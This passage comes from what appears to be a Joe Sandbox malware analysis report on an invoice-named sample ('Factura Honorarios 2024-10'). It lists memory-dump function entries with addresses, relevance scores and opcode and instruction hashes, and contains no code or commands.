Instruction Fuzzy Hash: 10D18D78E00218CFDB54DFA9C990B9DBBB2AF89300F1081A9D409BB365DB355986DF51

Function 3AD31FF8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80b4bc1c67d6dde9b3e1e6c1e0ffe65ccf9aac4442a0f3e660dbe392cb3b9088
Instruction ID: 899af233b5f3a3255e8f967cdb21f36c81fa7b3717d6d8f8217e64ad0c797c8c
Opcode Fuzzy Hash: 80b4bc1c67d6dde9b3e1e6c1e0ffe65ccf9aac4442a0f3e660dbe392cb3b9088
Instruction Fuzzy Hash: A8D18D78E01318CFDB54DFA9C990B9DBBB2AF89300F1080A9D409BB365DB359986DF51

Function 3AD33FE8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e50488d0b23f658386bc395651ba45cb34a6131abb534a06481ecdbc4888d4d8
Instruction ID: 77a5e990ee175751a3b8f8f60e5dfae5ed0d59c81579d79caf0caa15ffe53c94
Opcode Fuzzy Hash: e50488d0b23f658386bc395651ba45cb34a6131abb534a06481ecdbc4888d4d8
Instruction Fuzzy Hash: 8DD19D78E00218CFDB54CFA9C990B9DBBB2AF89300F1080A9D409BB365DB759986DF51

Function 3AD34D98 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff8479c267bd79cfeee7459812886bf41332d210499b4de8feb77b81776efa1
Instruction ID: ee073497ceaa58cbfece346eff3e3153c2bc6e42af2f38405da305a3edc16845
Opcode Fuzzy Hash: cff8479c267bd79cfeee7459812886bf41332d210499b4de8feb77b81776efa1
Instruction Fuzzy Hash: E3D19E78E01218CFDB55CFA9C990B9DBBB2AF89300F1080A9D409BB365DB359986DF51

Function 3AD31280 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7beeae74ec8b62a23e52fc78a3ac377f9b31fa8a4505c8e9dea1bbd3752fc001
Instruction ID: 5ad107451ceab7e6feb548b92e5d7207625659829254f39b9a05e1976329b144
Opcode Fuzzy Hash: 7beeae74ec8b62a23e52fc78a3ac377f9b31fa8a4505c8e9dea1bbd3752fc001
Instruction Fuzzy Hash: 42D19F74E01218CFDB54DFA9C990B9DBBB2AF89300F1080A9D409BB365DB355D86DF51

Function 3AD32488 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4704a7b8115817f6a5694a340a1eebda0efd55b0f78d5449735775cf5363e28
Instruction ID: 867f9d1cbde4547a7f82a5c9c39ca790590458d4ae8c9a0574c6e54529713c2c
Opcode Fuzzy Hash: b4704a7b8115817f6a5694a340a1eebda0efd55b0f78d5449735775cf5363e28
Instruction Fuzzy Hash: 37D19D74E01218CFDB54CFA9C990B9DBBB2BF89300F2081A9D409BB365DB355986DF51

Function 3AD356B8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c273ce24055f865e1b87eedc837f3ee3c318e36dbe4f99d905f017e6cac3a7cc
Instruction ID: 4538615839c000d86bff94e8a684e11b46a82438d2dc382f1e0e26d4e17893c2
Opcode Fuzzy Hash: c273ce24055f865e1b87eedc837f3ee3c318e36dbe4f99d905f017e6cac3a7cc
Instruction Fuzzy Hash: 23D1AE74E01218CFDB55CFA9C990B9DBBB2AF89300F1080A9D409BB365DB355D86DF51

Function 3AD32DA8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d3adabdecb70217498509bdbb2e7079a16bdbbc587e4f95b5505a40f595282
Instruction ID: e84e9e710067b794c26c3b119b5d6ae406e442a6bc4cf9f3e48ddac561f0c6f5
Opcode Fuzzy Hash: 73d3adabdecb70217498509bdbb2e7079a16bdbbc587e4f95b5505a40f595282
Instruction Fuzzy Hash: 65D18E78E01218CFDB54DFA9C990B9DBBB2AF89300F1080A9D809BB365DB355D86DF51

Function 3AD33B58 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667e0b6ec07079606d9ddeb529f6e1687a207c35ce77a6bdd49db57ff5306298
Instruction ID: 1aad095ce041406bba0b54257531255c6e2ec5e549c0f545194c2068eba60bfb
Opcode Fuzzy Hash: 667e0b6ec07079606d9ddeb529f6e1687a207c35ce77a6bdd49db57ff5306298
Instruction Fuzzy Hash: DDD19D74E00218CFDB54DFA9C990B9DBBB2AF89300F1081A9D809BB365DB359D86DF51

Function 3AD30040 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d1fbd3a818b8b2def32dfea25989792039e7477e78c64c8d06a82616e48d9d9
Instruction ID: 707368c1a8581cc0c5d5eeec66a47ac83e6914a17a7774dd5faf183d9bfdd3d8
Opcode Fuzzy Hash: 2d1fbd3a818b8b2def32dfea25989792039e7477e78c64c8d06a82616e48d9d9
Instruction Fuzzy Hash: 5FD1AD74E01218CFDB54CFA9C990B9DBBB2BF89300F1080A9D449BB364DB355A86DF51

Function 3AD35B48 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e31ca6f3bda0de286e973e5ee0c42d33e99a91f3de26447a0ae4682fb02c56e
Instruction ID: 03e37f26546cc0b7ee3a79018a0d3fc5740c28e22110f130a7d7e096b1bf26b8
Opcode Fuzzy Hash: 4e31ca6f3bda0de286e973e5ee0c42d33e99a91f3de26447a0ae4682fb02c56e
Instruction Fuzzy Hash: 39D19D74E01218CFDB55CFA9C990B9DBBB2AF89300F1080A9D809BB365DB359D86DF51

Function 3AD34478 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068f2790560f540a0f786536468364eb56cdd91f2edd836303dbc4e9fe8fb62d
Instruction ID: 43db221d769a3f1fc309d7d1bde236607dea9f4089cd6da788049fbf69f45d81
Opcode Fuzzy Hash: 068f2790560f540a0f786536468364eb56cdd91f2edd836303dbc4e9fe8fb62d
Instruction Fuzzy Hash: 4BD19EB4E01218CFDB54CFA9C990B9DBBB2AF89300F1080A9D409BB365DB359D86DF51

Function 3AD30960 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd8eb4ddb884a71323af9c7c79c9f95e57ff28f725d1a163fe8de3c1dbcf5ef5
Instruction ID: 209eb73db057621ebd7f55c34859da6a92343e51e6cc5796ee90d2bd2913bf77
Opcode Fuzzy Hash: fd8eb4ddb884a71323af9c7c79c9f95e57ff28f725d1a163fe8de3c1dbcf5ef5
Instruction Fuzzy Hash: 4AD1AE74E00218CFDB54CFA9D990B9DBBB2AF89300F1080A9D409BB364DB355D86DF51

Function 3ACC72C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596dfe1061e970acb9812d3ed4c46efd13d0764124c173e54c384666dc1545ee
Instruction ID: 46ade7c3ec0f473ddf90531f20bcbd4284a2bf9d339d08fd58d1842134158eb7
Opcode Fuzzy Hash: 596dfe1061e970acb9812d3ed4c46efd13d0764124c173e54c384666dc1545ee
Instruction Fuzzy Hash: A4C1A174E01218CFDB54DFA9C954B9DBBB2AF89300F1080A9D409BB365DB359E86CF50

Function 3ACC4ED0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba127ae4168217872cc476c459eb146a66eb838a20ddf8425b324f2bf302f0ae
Instruction ID: e4a76140c4bdcdad8b964baa5120c7c52c6f684e9062d5b58b7d65c29f192c65
Opcode Fuzzy Hash: ba127ae4168217872cc476c459eb146a66eb838a20ddf8425b324f2bf302f0ae
Instruction Fuzzy Hash: ACC1A174E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a388042abba12cc7567eeec867c0e711e121f0b127927889a6751ce69ecd27a0
Instruction ID: bd2db1b2e2882e5bd6f8763f689043190c766c9fe5c40a7224a84509a9ae92e3
Opcode Fuzzy Hash: a388042abba12cc7567eeec867c0e711e121f0b127927889a6751ce69ecd27a0
Instruction Fuzzy Hash: 8EC1A174E01218CFDB54DFA5C954B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC6488 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdc2dc4f7f53c315dbd630974efee8344e581386c4b323d29c0dc4b9a0ca6e3f
Instruction ID: 0c162d862d14f7922b36cdad710f8b73a8ea1d9abeb5ee93ff2871994e38e988
Opcode Fuzzy Hash: bdc2dc4f7f53c315dbd630974efee8344e581386c4b323d29c0dc4b9a0ca6e3f
Instruction Fuzzy Hash: 92C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC0498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c954287062fafc04204e03437f9b68860383e799cd67824eacb8cdd4cd938e
Instruction ID: 355cd2d521e1c9c4c6f772d5085f3491e910b9ad2b99474e0849f7346d1ec7fe
Opcode Fuzzy Hash: e2c954287062fafc04204e03437f9b68860383e799cd67824eacb8cdd4cd938e
Instruction Fuzzy Hash: A2C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2081A9D409BB365DB359E86CF50

Function 3ACC1EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f06cd4b42a20373febf67d347f121eaade7ca5b20accb5129e45d3604441e2
Instruction ID: a43570471227740e4229589792b58d147131587d43cbe03523cd8b86a1eacba5
Opcode Fuzzy Hash: e4f06cd4b42a20373febf67d347f121eaade7ca5b20accb5129e45d3604441e2
Instruction Fuzzy Hash: ACC1B174E00218CFDB54DFA5C954B9DBBB2AF89300F2090A9D409BB365DB359E86DF50

Function 3ACC0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9680a1b1ead1bccf99bd52a8aa21822ef71d0b738dd3ceb8b3a2298c2bef2ed
Instruction ID: 1988965804a537634b65650096c5049578e94b8389bceb4f90330629c9e9a914
Opcode Fuzzy Hash: d9680a1b1ead1bccf99bd52a8aa21822ef71d0b738dd3ceb8b3a2298c2bef2ed
Instruction Fuzzy Hash: 57C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC1A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ebfc1bd2eb4b42e0160c6fe172a8971d0a2fe7929f91abf4660abf33dea19be
Instruction ID: f780e96eacc754a09d404696f134ebf71af76926d1e1348deece5ee67b2644d2
Opcode Fuzzy Hash: 2ebfc1bd2eb4b42e0160c6fe172a8971d0a2fe7929f91abf4660abf33dea19be
Instruction Fuzzy Hash: 59C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC3460 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398acc30ef83c83eb5dba586ea3e726afc37b056dc85d563508878c555549909
Instruction ID: a5d14dc0ce7053858b78df014329c4ef3a80f57f236366ee8b77321950ffa571
Opcode Fuzzy Hash: 398acc30ef83c83eb5dba586ea3e726afc37b056dc85d563508878c555549909
Instruction Fuzzy Hash: 21C19174E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC4A78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f4e35e5dc8a1ebbb9b61176395ff01c4c109421652062d3b2d9e1333f20804
Instruction ID: acc0d4826daccd535034f315ee4074556077bdda2b2ab24b6b6ad2cc4bb8d71f
Opcode Fuzzy Hash: e5f4e35e5dc8a1ebbb9b61176395ff01c4c109421652062d3b2d9e1333f20804
Instruction Fuzzy Hash: 9AC1B074E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC6E70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4086f94352922f96fbbb03a6f6af755ff1316ff3683ef4e77f2d11b2cac4178c
Instruction ID: 5c0a45c2a5c0ed7c87050565de488d04b91d6f6b51dd47024ffd2d699cb6e2ac
Opcode Fuzzy Hash: 4086f94352922f96fbbb03a6f6af755ff1316ff3683ef4e77f2d11b2cac4178c
Instruction Fuzzy Hash: FFC1A174E01218CFDB54DFA5C954B9DBBB2AF89300F2090AAD409BB365DB359E86CF50

Function 3ACC3008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa10823aff78a4b3b639ddc91d9294626cc80823eac9b14368d7e772f1aba69
Instruction ID: 82239d7a2a39ce7ebcbfd902094b8b962a754d2d3793a94ba3a0c878392d4946
Opcode Fuzzy Hash: 5fa10823aff78a4b3b639ddc91d9294626cc80823eac9b14368d7e772f1aba69
Instruction Fuzzy Hash: 54C1A174E01218CFDB54DFA9C994B9DBBB2AF89300F1090A9D409BB365DB359E86CF50

Function 3ACC4620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9de54b6ba4d07f9bb3fc1ac7705a492712c492480b8442864c5260db4ec2ea
Instruction ID: 663bc4a54ca03f3d9c2fb25dc010836be459d2637f9a22d904ab58c37c9ccf65
Opcode Fuzzy Hash: 8a9de54b6ba4d07f9bb3fc1ac7705a492712c492480b8442864c5260db4ec2ea
Instruction Fuzzy Hash: D2C1A174E01218CFDB54DFA5C994B9DBBB2AF89300F1090A9D409BB365DB359E86CF50

Function 3ACC6030 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8601f9c4fd193bce672626e7424fd1c6b67ddba5624c3361792f30aa1a847d94
Instruction ID: 1838aa8b02519f494d648923ea62e1267dd5eaf8de0446019b2c414294659d91
Opcode Fuzzy Hash: 8601f9c4fd193bce672626e7424fd1c6b67ddba5624c3361792f30aa1a847d94
Instruction Fuzzy Hash: CEC1B074E00218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86DF50

Function 3ACC5BD8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8b7951f6cabc1462ea9919b3845819f7af8424224281ec18db5fe418e41f57e
Instruction ID: b73b983f7b23089a0e2bfef045946da4c99e3e801862b077c23475570b9c7dfa
Opcode Fuzzy Hash: d8b7951f6cabc1462ea9919b3845819f7af8424224281ec18db5fe418e41f57e
Instruction Fuzzy Hash: 44C1B074E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC15F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a79fdac429cff103e9fc04557efc7b8b075b8dab3e6d504324fb0fc518a42d5
Instruction ID: 0f7212f82b5d9cd372ee1e4daaabb3e6e6abd63bce5f43d9086cb97a5ecc7c60
Opcode Fuzzy Hash: 8a79fdac429cff103e9fc04557efc7b8b075b8dab3e6d504324fb0fc518a42d5
Instruction Fuzzy Hash: E5C1B074E01218CFDB54DFA5C994B9DBBB2AF89300F2081A9D409BB365DB359E86CF50

Function 3ACC5780 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd31f10a7a62168a6bdacdd1addfd59fba51263fa02352739473483da246f6df
Instruction ID: b75b3bd10ec51c66c31660fb2f52d9fddf5310e84fbc0b9d354dafa55d508d38
Opcode Fuzzy Hash: bd31f10a7a62168a6bdacdd1addfd59fba51263fa02352739473483da246f6df
Instruction Fuzzy Hash: 4AC1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC11A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc34760c91aad825982995f4d082bc678e0a081a1ea0f304f7e25b9fdef243b
Instruction ID: df2f1ea206f4142e76a0da362b0c3947746ada9798b7a03ffe075baff8d79049
Opcode Fuzzy Hash: dcc34760c91aad825982995f4d082bc678e0a081a1ea0f304f7e25b9fdef243b
Instruction Fuzzy Hash: 92C1A174E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC2BB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb75bbb200b9e85afc0c6c14b91ef06a3872cddb5748735c29b9115a98be1367
Instruction ID: 40069002b44a56d8347a5d31a5f14c4e090bd6d764cd5801e5b64bcfcfb33aac
Opcode Fuzzy Hash: fb75bbb200b9e85afc0c6c14b91ef06a3872cddb5748735c29b9115a98be1367
Instruction Fuzzy Hash: 19C1A174E00218CFDB54DFA9C954B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0746f413cb175f1be4c311a3ca58a7c59a62fa7b79d5b95f7ed8dc163cd5f390
Instruction ID: d125d864e7546a8f4940d11a18711608ec9321e1ab2b9f4b5fc07a96431a2b28
Opcode Fuzzy Hash: 0746f413cb175f1be4c311a3ca58a7c59a62fa7b79d5b95f7ed8dc163cd5f390
Instruction Fuzzy Hash: C1C19074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 3ACC2758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90cec5f2ed306310441701270b33d0a432bda42b03868d85aae3b204d02ab7e
Instruction ID: ffcf1d940ebba58527ec2288dba731ccc59a9bc9f599a6378a16b157d38cafb5
Opcode Fuzzy Hash: b90cec5f2ed306310441701270b33d0a432bda42b03868d85aae3b204d02ab7e
Instruction Fuzzy Hash: 45C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 3ACC2300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cacba8ec8f21c1deac08aac7b3b645b2540cd717c5171d80b3537121e2b1c768
Instruction ID: 9c4b3bc09367f00f5ce01fd08a22bcb60fc67f240ba7b442f8c90ff685ffae00
Opcode Fuzzy Hash: cacba8ec8f21c1deac08aac7b3b645b2540cd717c5171d80b3537121e2b1c768
Instruction Fuzzy Hash: 05C1A174E00218CFDB54DFA5C994B9DBBB2AF89300F1080A9D409BB365DB359E86CF50

Function 3ACC5328 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97b7be52aa931295625fb85c9b20bd5b78d7802d68ee455f092bfc5ae24123c
Instruction ID: 2e6b47c650c3f16a565833592501e9b169fd61211021861f0611968ad27ecab4
Opcode Fuzzy Hash: d97b7be52aa931295625fb85c9b20bd5b78d7802d68ee455f092bfc5ae24123c
Instruction Fuzzy Hash: DAC19074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 39C5D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d5b43284c20eed917c27c7187b8b7f26f58375099e18fe2c47c999126c05c6
Instruction ID: 2e43fae7c6d7ccf341ae31d2ad88ad41ccf158357851ae3f1b656b28a3e759c7
